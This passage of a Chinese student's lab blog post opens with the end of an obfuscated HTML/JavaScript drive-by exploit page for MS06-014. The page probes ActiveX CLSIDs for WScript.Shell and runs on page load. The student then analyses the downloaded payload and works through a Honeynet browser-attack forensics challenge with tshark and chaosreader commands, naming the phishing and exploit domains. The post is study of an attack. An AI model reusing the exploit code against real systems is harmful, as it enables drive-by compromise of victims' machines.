'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}' 	,null);	

while(t[i])	  
{
	var a=null;
	if(t[i].substring(0,1)=='{')
	{
		a=document.createElement("object"); 
		a.setAttribute("cl"+ "as"+"sid","cl"+"s"+"id" +":"+ t[i].substring(1,t[i].length-1 ));
	}
	else	
	{
		try	  {
			a=new ActiveXObject(t[i]);
		}	 		
		catch(e){}
	}	
	if (a)		 
	{ 	 						
		try {
			var b=iciyhBgNqsKoWCFSloxKOhdEdLZp(a ,"W"+"Sc"+ "ri"+"pt"+ ".S" +"he" + "ll"	);	
			if(b)
			{   
				bAoCAWsXBmscRmICUExUNRzdhQtXnmB(a); 	
				return(0);	 
			} 
			}
		catch(e){}		
	}	  
	i++;
	}
}
</script>
</head>
<body onload="cKXvLrxFjXiBzS()">
fiyiKXHtSliWkTIadIVlRBiPhfIpwRa
</body>
</html>

对上述代码做出分析,发现js调用document.location加载了payload,后面还有一个可执行文件EAvCXsyQQ.exe,这个文件可能是以攻击机为服务器,靶机访问网页后下载的,为了躲避杀毒软件,每次访问后生成文件的名字都不一样。

这个代码是我在kali上提取出来的,所以在Win 2KS上的名字就会不一样,但是结论一样,查看靶机的任务管理器,发现该文件在运行。

另外,在代码里还有一个很长的Array,搜索BD96C556,得知漏洞为MS06-014

取证分析挑战实践——Web浏览器遭遇攻击

Q:通过分析给的网络记录文件,回答下列问题:**

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
  • 请给出攻击者执行攻击动作的概要描述。
  • 攻击者引入了哪些技巧带来了困难。
  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
  • shellcode执行了哪些操作?比较他们之间MD5的差异?
  • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

A:

首先要安装chaosreader这个软件。

然后再kali终端输入./chaosreader suspicious-time.pcap,得到的结果如下图所示:

然后输入cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4,$5,$6}' | sort | uniq -c | sort -nr,统计各种协议的数量。

22

通过Wireshark,没有使用ICMP、Bootps、Netbios或DNS协议的攻击,所以HTTP攻击应该被重视。

输入for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort来选取之前生成的.http.html文件读取,筛选主机并列出来。

23

rapidshare.com.eyu32.ru被分配了一个本地IP为192.168.56.50,是一个伪造的名牌,它可能被攻击者用来获得用户的信任。

sploitme.com.cn本身就暗示着恶意行为,被分配的本地IP为192.168.56.52。

shop.honeynet.sg看起来像一个出名的购物网站,本地IP为192.168.56.51。

google网站和honeynet.org都是知名网站,正常。

输入tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u,显示机器名。

输入tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u,显示工作组。

发现四个都一样。

即使IP地址和MAC地址不一样,但是机器名和工作组一样。所以这四台机器一样或者是被复制的,环境是配置在VM中。

输入tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'列出所有页面。

输入tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'列出包含可疑恶意脚本的页面,其他的看起来合法且内容无害。

可疑页面如下所示:

rapidshare.com.eyu32.ru/login.php

一看就很像钓鱼网站,显然是恶意且故意创建的页面。

shop.honeynet.sg/catalog/

遭到破坏的网站。

sploitme.com.cn

假冒的404,来调戏分析的人。

攻击动作:

  1. 受害者(10.0.2.15)通过Firefox访问rapidshare.eyu32.ru/login.php (192.168.56.50)
  2. login.php包含sploitme.com.cn/?click=3feb5a6b2f (192.168.56.52)的重定向内容,被重定向到有恶意javascript的sploitme.com.cn/fg/show.php?s=3feb5a6b2f
  3. 返回一个假冒的无害的404页面。

掩盖技巧:

  1. Javascript混淆

  2. 假冒的404页面

  3. 第一次访问并重定向后触发了服务漏洞,第二次再访问时,就会呈现一个无害的页面。

  4. 内容已经过gzip压缩,因此不会以明文显示,必须采取额外的步骤。

第6、7个问题未解决。

肯定是有恶意可执行文件参与的,被故意创建的恶意软件仅仅是为了再浏览器上启动URL http://www.honeynet.org,因此对这个站点的访问量较早。

三、学习中遇到的问题及解决

Q:第四个实践按照参考文件上做,会有一些代码没法执行。

A:没解决。

四、实践总结

这次作业基本上算是自己做的,但是也是对着参考文件完成的,如果没有参考就会很难完成,这次没参考优秀同学的博客,所以完成花费的时间相当长,总感觉作业和我的水平并不在一个水平线上,就是以我的水平并达不到完成作业的程度,所以目前还没有解决方法。

posted @ 2020-05-21 10:29  王昱皓  阅读(793)  评论(0编辑  收藏  举报